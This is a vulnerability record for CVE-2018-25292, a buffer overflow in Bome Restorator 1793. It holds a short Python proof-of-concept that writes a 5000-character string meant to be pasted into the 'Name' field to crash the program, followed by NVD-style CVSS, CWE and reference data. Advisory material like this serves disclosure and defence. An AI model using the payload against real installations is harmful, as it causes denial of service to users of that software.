CVE-2018-25292

#!/usr/bin/env python # -*- coding: utf-8 -*- """ PoC for CVE-2018-25292 Bome Restorator 1793 Buffer Overflow (DoS) This script generates a malicious payload to crash the application. """ import sys # Create a payload larger than 4000 bytes to trigger the overflow # The vulnerability is triggered by pasting this string into the 'Name' field. buffer_size = 5000 payload = "A" * buffer_size try: with open("cve_2018_25292_poc.txt", "w") as f: f.write(payload) print(f"[+] PoC file generated successfully: cve_2018_25292_poc.txt") print(f"[+] Payload size: {buffer_size} bytes") print("[+] Instruction: Copy the content of the file and paste it into the 'Name' field of Bome Restorator 1793.") except Exception as e: print(f"[-] Error generating file: {e}") sys.exit(1)

{"cve": {"id": "CVE-2018-25292", "sourceIdentifier": "[email protected]", "published": "2026-04-26T22:17:30.507", "lastModified": "2026-04-27T18:53:00.053", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Bome Restorator 1793 contains a buffer overflow vulnerability that allows local attackers to crash the application by supplying an excessively long string in the Name field. Attackers can create a malicious payload exceeding 4000 bytes and paste it into the Name input field to trigger an application crash and denial of service."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-120"}]}], "references": [{"url": "https://www.bome.com/", "source": "[email protected]"}, {"url": "https://www.bome.com/bome/downloads/Restorator2018_Full_1793.exe", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/45223", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/bome-restorator-1793-denial-of-service-via-buffer-overflow", "source": "[email protected]"}]}}